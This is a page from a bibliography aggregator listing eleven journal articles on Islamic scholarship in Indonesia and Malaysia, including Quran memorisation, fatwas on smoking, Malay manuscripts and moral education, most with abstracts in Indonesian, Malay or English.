Shohib, Moch, and Riska Nor Hasanah. "IMPLEMENTASI METODE TAHFIDZUL QUR’AN UTSMANI SULAIMANIYAH TURKY." PARAMUROBI: JURNAL PENDIDIKAN AGAMA ISLAM 4, no. 1 (June 10, 2021): 95–102. http://dx.doi.org/10.32699/paramurobi.v4i1.1788.

Full text
Abstract:
Seiring berkembangnya peradaban pesantren di dunia maka bukan suatu hal yang tidak mungkin untuk melakukan kolaborasi dengan pesantren lain, tak terkecuali di Indonesia banyak pesantren yang melakukan kolaborasi dengan tujuan yang sama yaitu untuk memfasilitasi peserta didik (santri) untuk belajar Al-Qur’an. Diantaranya adalah pesantren Sulaimaniyah pertama kali di dirikan oleh Syekh Sulaiman Hilmi Tunahan. Penelitian ini merupakan penelitian studi kasus yang dilaksanakan di Lumajang melalui observasi, dokumentasi dan wawancara di Pesantren Hidayatul Hasan yang bekerjasama dengan pessantren Sulaimaniyah Turky. Hasil penelitian menunjukan bahwa Pesantren Sulaimaniyah Turky yang didirikan oleh Syeikh Sulaiman Hilmi Tunahan, pondok pesantren ini di khususkan untuk menghafal dan kajian Al-Qur’an yang berbeda dengan menggunakan Metode Utsmani dalam menghafalkan Al qur’an, hal tersebut sesuai dengan visi dan misi yang telah di buat oleh Pondok Pesantren Sulaimaniyah, yaitu mencetak generasi muda penghafal Al qur’an yang menerapkan Al qur’an dalam kehidupan sehari hari guna mendapatkan Ridho Ilahi, sedangkan misi dari Pondok Pesantren Tahfidzul Qur’an Sulaimaniyah yaitu menjadikan santri mampu membaca Al qur’an dengan baik dan benar, Menanamkan akhlaqul karimah dan ilmu ilmu islam dan mendorong perkembangan anak yang selaras dengan nilai-nilai Islam.
APA, Harvard, Vancouver, ISO, and other styles
40

Harun, Jelani. "Mir'at al-Tullab by Syeikh Abdul Rauf Singkel: A Preliminary Study of Manuscripts Kept in the Special Collections, Leiden University Library." Malay Literature 26, no. 2 (December 8, 2013): 119–38. http://dx.doi.org/10.37052/ml.26(2)no1.

Full text
Abstract:
Mir’at al-Tullab by Syeikh Abdul Rauf Singkel is one of the masterpieces in the history of Malay writing in Aceh. The work written in 1661 demonstrates knowledge of Shari’ah law including the subjects on commercial law, matrimonial law and criminal law. The major idea that runs through the whole work is that of the role of sultan and ulama in preserving Islamic laws of the state. The importance of Mir’at al-Tullab is reflected in the large number of manuscripts that are available. In spite of its importance, there is still a lack of studies of the work especially those based on several Jawi manuscripts that are known to exist in Leiden University Library. This article is a preliminary study of five manuscripts of Mir’at al-Tullab kept in the Special Collections, Leiden University Library, and to identify basic features of the Islamic laws in Aceh in the mid-seventeenth century based on the manuscripts. Mir’at al-Tullab portray an early example of the implementation of Islamic law in Aceh as to replace the adat law practices that existed before. Keywords: Mir’at al-Tullab, Syeikh Abdul Rauf Singkel, history of Malay, Islamic law, manuscripts
APA, Harvard, Vancouver, ISO, and other styles
41

Hermansyah, Hermansyah, and Galuh Wiradinata. "Shuhbah Sebagai Komunikasi Terapeutik dalam Pembentukan Karakter." Iktisyaf: Jurnal Ilmu Dakwah dan Tasawuf 2, no. 2 (September 26, 2020): 01–16. http://dx.doi.org/10.53401/iktsf.v2i2.16.

Full text
Abstract:
Shuhbah merupakan suatu kegiatan yang rutin dilakukan oleh ikhwan setiap malam jum`at dan jum`at pagi kepada Mursyid Thoriqoh Qoddiriyah Naqsabanddiyah Pondok Pesantren Suryalaya (TQN PP Suryalaya) Syeikh Muhammad Abdul Gaos Saefulloh Maslul QS. yang berpusat di Pesantren Sirnarasa Ciceuri Desa Ciomas Kecamatan Panjalu Kabupaten Ciamis Jawa Barat. Penelitian ini bertujuan: (1) untuk mengetahui bagaimana Shuhbah sebagai Komunikasi Terapeutik didalam pembentukan karakter; (2) untuk mengetahui Apa saja faktor pendukung dan penghambat pada pembentukan karakter Jama’ah Thoriqoh Qodiriyah Naqsabandiyah Pondok Pesantren Suryalaya di Pesantren Sirnarasa didalam Shuhbah. Metode penelitian ini menggunakan kuantitatif dengan teknik populasi dan sampel, sedangkan data dihasilkan melalui observasi, wawancara dan angket selanjutnya dianalisis dengan pendekatan kuantitatif dan kualitatif. Lokasi yang menjadi objek penelitian ini adalah di Pesantren Sirnarasa Dusun Ciceuri, Desa Ciomas, Kecamatan Panjalu, Kabupaten Ciamis Jawa Barat. Hasil penelitian dapat simpulkan bahwa Shuhbah memiliki semua komponen didalam komunikasi terapeutik, dan shuhbah juga mampu membentuk karakter ikhwan jika ikhwan tersebut benar-benar memiliki keinginan untuk berubah. Adapun faktor pendukungnya adalah harus menjalankan tiga komponen shuhbah yakni istima, Ijtima, dan i`tiba. Dan faktor penghambatnya adalah tidak menjalankan benar-benar amaliyah yang telah dicontohkan Syeikh Mursyid.
APA, Harvard, Vancouver, ISO, and other styles
42

Iswahyudi, Iswahyudi. "The Maslahat Epistemology in Cigarette Law: Study on The Fatwa Law on Cigarettes Between Sheikh Ihsan Jampes and The Majelis Tarjih of Muhammadiyah." Justicia Islamica 17, no. 2 (October 31, 2020): 243–60. http://dx.doi.org/10.21154/justicia.v17i2.1970.

Full text
Abstract:
Shaykh Ihsan Jampes gave the fatwa of the cigarette law as makrūh, while Majelis Tarjih gave the fatwa ḥarām. Although Sheikh Ihsan’s fatwa is individual, this fatwa deserves to be a comparison for the collective fatwa of the Majelis Tarjih. This is because the Sheikh Ihsan’s fatwa is a complete picture of the NU fatwa in general. This paper is based on two important questions, which the arguments are used by the two fatwas in formulating the cigarette law and whether there are conceptual differences from these arguments or not. To answer these two questions, the method used is descriptive-critical-analysis with a critical hermeneutic approach. This article finds that both fatwa of Sheikh Ihsan Jampes and Majelis Tarjih have the same argument in deciding the cigarette law, namely the argument of utility or usefulness (maşlaḥat). However, the two fatwas are different in formulating the maşlaḥat model used. Shaykh Ihsan used maşlaḥat taḥsīniyyāh while Majelis Tarjih put it in the shade of maşlaḥah darūriyyah. This article implies, not only from the various variants of the different choices of cigarette law but also providing insight into the epistemology that underlies these differences in law. This article educates smokers to choose between continuing or leaving smoking. Epistemology, as is well known, is the opening door to one's actions. This article also provides a perspective for policy-makers between legalizing or banning cigarettes based on the theory of maşlaḥat.Syeikh Ihsan Jampes memberi fatwa hukum rokok sebagai makrūh, sementara Majelis Tarjih memberi fatwa ḥarām. Walau fatwa Syeikh Ihsan bersifat individual, fatwa ini layak menjadi pembanding bagi fatwa Majelis Tarjih yang kolektif. Hal ini disebabkan karena fatwa Syeikh Ihsan adalah gambaran lengkap bagi fatwa NU pada umumnya. Tulisan ini dilandasi oleh dua pertanyaan penting yaitu argumentasi apakah yang digunakan oleh kedua fatwa tersebut dalam merumuskan hukum rokok serta apakah ada perbedaan konseptual dari argumentasi tersebut. Untuk menjawab dua pertanyaan tersebut, metode yang digunakan adalah diskriptif-analisis-kritis dengan pendekatan hermeneutika kritis. Artikel ini menemukan jawaban bahwa fatwa Syeikh Ihsan Jampes dan fatwa Majelis Tarjih memiliki argumen yang sama dalam memberi hukum rokok yaitu argumentasi utilitas atau kebermanfaatan (maşlaḥat). Hanya saja, kedua fatwa tersebut berbeda dalam merumuskan model maşlaḥat yang digunakan. Syeikh Ihsan menggunakan maşlaḥah taḥsīniyyāh sementara Majelis Tarjih meletakkannya dalam naungan maşlaḥah darūriyyah. Artikel ini memberi implikasi, tidak saja dari berbagai varian pilihan hukum rokok yang berbeda, tetapi juga memberi pengetahuan tentang epistemologi yang melatari perbedaan hukum tersebut. Artikel ini mencerdaskan para perokok untuk mengambil pilihan antara melanjutkan merokok atau meninggalkannya. Epistemologi, seperti diketahui, adalah pintu pembuka bagi tindakan seseorang. Artikel ini juga memberi perspektif bagi pengambil kebijakan antara melegalkan rokok atau melarangnya yang didasarkan kepada teori maşlaḥat.
APA, Harvard, Vancouver, ISO, and other styles
43

Fuad, Zikmal. "THE FACTORS THAT AFFECTING SUCCESSFUL DAKWAH OF SYEIKH ABDUL WAHAB ROKAN." ETTISAL Journal of Communication 3, no. 2 (December 29, 2018): 143. http://dx.doi.org/10.21111/ettisal.v3i2.2462.

Full text
APA, Harvard, Vancouver, ISO, and other styles
44

Nafarozah, Hikmah, Akmaliyah Akmaliyah, Muhammad Nurhasan, and Karman Karman. "Nasihat Syeikh Muhammad Syakir dalam Kitab Washoya Al- Abâ Lil Abnâ." Az-Zahra: Journal of Gender and Family Studies 2, no. 2 (June 27, 2022): 111–26. http://dx.doi.org/10.15575/azzahra.v2i2.9527.

Full text
Abstract:
Kitab Washoya al-abâ li al abnâ merupakan kitab klasik yang sampai sekarang masih digunakan di beberapa pesantren salaf sebagai media pembelajaran akhlak. Kitab Washoya berisi nasihat-nasihat dalam kehidupan sehari-hari yang diperuntukan bagi para pelajar. Setiap Nasihat yang disampaikan Muhammad Syakir memiliki teks yang menjadi referensi dalam penulisan kitab ini. Dengan demikian, teks-teks yang berkaitan dengan teks nasihat tersebut bersumber dari alquran, hadits, ataupun teks-teks dari kitab akhlak yang lain. Untuk mencari teks-teks yang memiliki keterkaitan dengan teks nasihat tersebut peneliti menggunakan Teori Semiotika Intertekstual Julia Kristeva. Dalam Intertekstual Julia Kristeva, Setiap teks lahir tidak berdiri sendiri, ia memiliki keterkaitan dengan teks lain yang menjadi referensinya. Tujuan penelitian ini adalah untuk mengetahui teks-teks yang berkiatan dengan nasihat yang disampaikan Muhammad Syakir dalam kitab Washoya al-abâ li al abnâ. Metode yang digunakan dalam penelitian ini yaitu metode deskriptif kualitatif.
APA, Harvard, Vancouver, ISO, and other styles
45

Abu Hassan, Mohamad Mokhtar. "Pengaplikasian Pendekatan Pengurusan terhadap Dua Buah Cerita Binatang." Malay Literature 34, no. 2 (December 7, 2021): 185–210. http://dx.doi.org/10.37052/ml34(2)no3.

Full text
Abstract:
Kebanyakan khalayak sering mempersoalkan pentingnya mempelajari kesusasteraan Melayu dalam kehidupan. Dengan anggapan kebanyakan khalayak berasa tidak penting mempelajari kesusasteraan Melayu kerana tidak ada nilai dalam kehidupan, akibatnya kesusasteraan Melayu dipinggirkan. Namun pada hakikatnya, banyak ilmu yang dapat diperoleh apabila mempelajari kesusasteraan Melayu. Antaranya ilmu perubatan, perundangan, adat istiadat, kebudayaan, kesenian dan tidak kurang pentingnya ilmu pengurusan. Dalam artikel ini, penulis akan membuktikan bahawa dalam kesusasteraan Melayu terdapatnya elemen pengurusan. Kajian ini menggunakan kaedah kualitatif dalam penganalisisan karya sastera tersebut. Pendekatan yang digunakan dalam kajian ini ialah pendekatan pengurusan. Artikel ini menjelaskan pendekatan pengurusan secara komprehensif, iaitu merangkumi definisi dan prinsip pendekatan pengurusan, iaitu perancangan, pengorganisasian, kepimpinan, penstafan serta kawalan. Penganalisisan karya sastera dengan pendekatan pengurusan dilakukan diaplikasikan terhadap dua buah cerita binatang, iaitu "Gergasi Berperang dengan Gajah" dan Hikayat Pelanduk Jenaka (Syeikh Alam Berlawan dengan Raksasa). Selanjutnya, perbandingan dibuat terhadap kecekapan dan kelemahan kedua-dua organisasi dalam pengurusan untuk kedua-dua cerita binatang ini. Didapati organisasi dalam cerita "Gergasi Berperang dengan Gajah" lebih tersusun dan teratur jika dibandingkan dengan organisasi dalam cerita Hikayat Pelanduk Jenaka (Syeikh Alam Berlawan dengan Raksasa). Kajian dengan pendekatan pengurusan dalam penganalisisan karya sastera bukan sahaja menjadikan kesusasteraan Melayu lebih menarik, bahkan dapat mendidik dan menyedarkan khalayak peri pentingnya pengurusan dalam kehidupan manusia agar tersusun dan efisien.
APA, Harvard, Vancouver, ISO, and other styles
46

Gazali, Erfan. "Menakar Tantangan dan Potensi Jurusan Bahasa dan Sastra Arab (BSA) IAIN Syekh Nurjati Cirebon di Era Pendidikan 4.0." Arabiyatuna : Jurnal Bahasa Arab 3, no. 2 (November 13, 2019): 229. http://dx.doi.org/10.29240/jba.v3i2.857.

Full text
Abstract:
This article discusses the readiness of the Department of Arabic Literature IAIN Syeikh Nurjati Cirebon in dealing with the development of education in the era of the industrial revolution 4.0. Descriptive-analytical method was chosen as the type of research with the stages of analyzing data including: data collection, data reduction, and drawing conclusions or verification. The level of competition based on the excellence of human resources in the era of the industrial revolution 4.0 requires all countries to move quickly in enhancing their human resources, actively contributing to the generation of superior and competitive generation as part of a knowledge-based society making responsibilities that cannot be avoided by higher education institutions. the level of education has risen to become a producer of innovation as a reflection of the educational era 4.0. Exploring all the potentials of the Arabic language and literature department of IAIN Syeikh Nurjati Cirebon and the challenges that will be faced in the era of education 4.0 will be the aim of this study. Cirebon is an area with a rich history and pluralistic culture supported by the existence of the kraton along with hundreds of manuscripts has made this area a field of knowledge and research that is very potential for the development of Arabic language and literary knowledge in Indonesia.
APA, Harvard, Vancouver, ISO, and other styles
47

Muslifah, Siti. "Pemikiran Syeikh Thahir Jalaluddin tentang Awal Waktu Shalat dalam Kitab Pati Kiraan." Al-Marshad: Jurnal Astronomi Islam dan Ilmu-Ilmu Berkaitan 6, no. 2 (December 1, 2020): 223–39. http://dx.doi.org/10.30596/jam.v6i2.5374.

Full text
Abstract:
Thahir Jalaluddin seringkali disebut sebagai tokoh falak Indonesia pertama. Pemikirannya berbeda dengan kitab lain yang juga memakai logaritma dalam perhitungannya. Artikel ini membahas bagaimana Thahir Jalaluddin memformulasikan perhitungan waktu shalat dalam kitab Pati Kiraan. Artikel disusun menggunakan metode library research dengan deskriptif-analitik untuk menganalis dan mendeskripsikan pemikirannya. Kesimpulan yang diperoleh bahwa pemikiran Thahir Jalaluddin banyak dipengaruhi oleh guru-gurunya, terlihat pada penggunaan tabel logaritma sebagai media menghitung. Konsep astronomi modern juga dipakai dalam menghisab waktu shalat, seperti konsep koreksi dalam menentukan ketinggian Matahari. Konsep matematika yang dipakai sudah menggunakan teori spherical trigonometry walaupun dalam merumuskannya masih sangat rumit apabila dibandingkan dengan tokoh falak yang sezaman dengannya dimana sama-sama memakai logaritma dalam menghitung.
APA, Harvard, Vancouver, ISO, and other styles
48

Abu Bakar, Nurul Salsabila, and Mohd Nazri Ahmad. "SIRAH DALAM MENEGAK PERUBAHAN SOSIAL MENGIKUT PANDANGAN SYEIKH SAID RAMADAN AL-BUTI." Al-Banjari : Jurnal Ilmiah Ilmu-Ilmu Keislaman 17, no. 2 (December 31, 2018): 261. http://dx.doi.org/10.18592/al-banjari.v17i2.1963.

Full text
Abstract:
The life of Prophet Muhammad/ Sirah Rasullullah, SAW, (peace and blessings of Allah be upon him) is one of the written works of scholars to be featured as having played a major role in developing da'wah and Islamic Shari'ahs around the world from the past. The bond between Moslems and the prophet is strong so the Moslems can use sirah as a reference to strengthen faith, morals, foster the struggle of Islam and encourage the Muslim to hold on to the truth. This study will highlight the role of the sirah in strengthening the social aspect of society and this will be seen based on the views of Sheikh Ramadan al-Buti. Content analysis is used to analyze Fiqh as-Sirah an-Nabawiyyah. The data was analysed descriptively and explanatory. The findings show that the need for a sirah approach in the social aspect is high for the good of social aspect itself. However, Syeikh Ramadan al-Buti has opened the opportunity so that the aspects of the sirah is applied to the social change of the Islamic society from time to time. The implications of the study show that the Prophet's sirah/life has succeeded in forming a good Islamic Government over the history of Western civilization. Sirah Rasulullah SAW merupakan salah satu karya penulisan ulama perlu diketengahkan kerana telah memainkan peranan yang besar dalam mengembangkan dakwah dan syariat Islam diseluruh dunia sejak dahulu lagi. Mempelajari sirah Nabi ini bukanlah semata-mata untuk mengetahui peristiwa menarik dan aneh yang berlaku di zaman Nabi SAW.Pengkajian sirah ini juga bukan sekadar ingin mengetahui peristiwa-peristiwa yang telah melakar sejarah sebagaimana kajian-kajian sejarah yang lain sebagai contoh sejarah hidup seorang khalifah atau sejarah tamadun yang silam. Sirah juga bukanlah sekadar satu kisah yang dibaca pada hari keputeraan baginda SAW sahaja. Apa yang lebih besar sebenarnya adalah ikatan seseorang Muslim dengan Rasulnya sehinggakan pada akhirnya Muslim itu berjaya menjadikan sirah sebagai sesuatu yang dapat menambahkan iman, memperelok akhlak, menyemarakkan perjuangan Islam serta dapat mendorong Muslim itu untuk terus berpegang dengan kebenaran dan seterusnya istiqamah kepadanya. Kajian ini akan mengetengahkan peranan sirah dalam mengukuhkan aspek sosial masyarakat dan perkara ini akan dilihat berdasarkan kepada pandangan Syeikh Ramadan al-Buti. Kaedah analisis kandungan akan digunakan dalam mengkaji kitab Fiqh as-Sirah an-Nabawiyyah bagi mendapatkan data. Data tersebut akan dianalisis secara deskriptif dan eksplanatori. Dapatan kajian menunjukkan bahawa keperluan pendekatan sirah dalam aspek sosial adalah tinggi bagi membentuk aspek sosial yang baik itu sendiri. Walau bagaimanapun, Syeikh Ramadan al-Buti telah membuka ruang sepenuhnya supaya aspek sirah diaplikasikan kedalam perubahan sosial masyarakat islam dari masa ke semasa. Implikasi kajian menunjukkan bahawa sirah Rasulullah telah berjaya membentuk satu Kerajaan Islam yang baik berbanding sejarah tamadun Barat yang musnah ekoran tiada sisa-sisa kemanusiaan yang dihidupkan.
APA, Harvard, Vancouver, ISO, and other styles
49

Yusuf, Syaifulloh. "KONSEP PENDIDIKAN AKHLAK SYEIKH MUHAMMAD SYAKIR DALAM MENJAWAB TANTANGAN PENDIDIKAN ERA DIGITAL." TA'DIBUNA: Jurnal Pendidikan Agama Islam 2, no. 1 (May 21, 2019): 1. http://dx.doi.org/10.30659/jpai.2.1.1-18.

Full text
Abstract:
This research aims to determine the values of moral education in the Kitab Wash?y? Al-?b? Lil Lil Abn? �by Sheikh Muhammad Syakir. The type of the research is library research which using an interactive model for collecting data and the data collected from primary sources and various secondary sources before presenting data. The results of this study indicate that the Kitab Wash?y? Al-?b? Lil Abn?� discusses moral education with a focus on self-glory which is divided into four important parts, namely; vertical moral values, horizontal moral values, moral values related to oneself and moral procedures. The use of language and method of delivery in this Kitab is very good. In addition, this book has a very good moral education value to further strengthen moral education in the face of the digital era.Keywords: Education, Akhlak, Digital Era, Wash?y? Al-?b? Lil Lil Abn?�
APA, Harvard, Vancouver, ISO, and other styles
50

Aini, Zulkefli, Che Zarrina Sa'ari, and Mohamad Zulkifli Abdul Ghani. "Pendekatan Dakwah al-Wasatiyyah Syeikh Abdul Rauf Ali al-Fansuri (m.1693)." Jurnal Akidah & Pemikiran Islam 20, no. 1 (June 28, 2018): 179–212. http://dx.doi.org/10.22452/afkar.vol20no1.6.

Full text
APA, Harvard, Vancouver, ISO, and other styles
We offer discounts on all premium plans for authors whose works are included in thematic literature selections. Contact us to get a unique promo code!

To the bibliography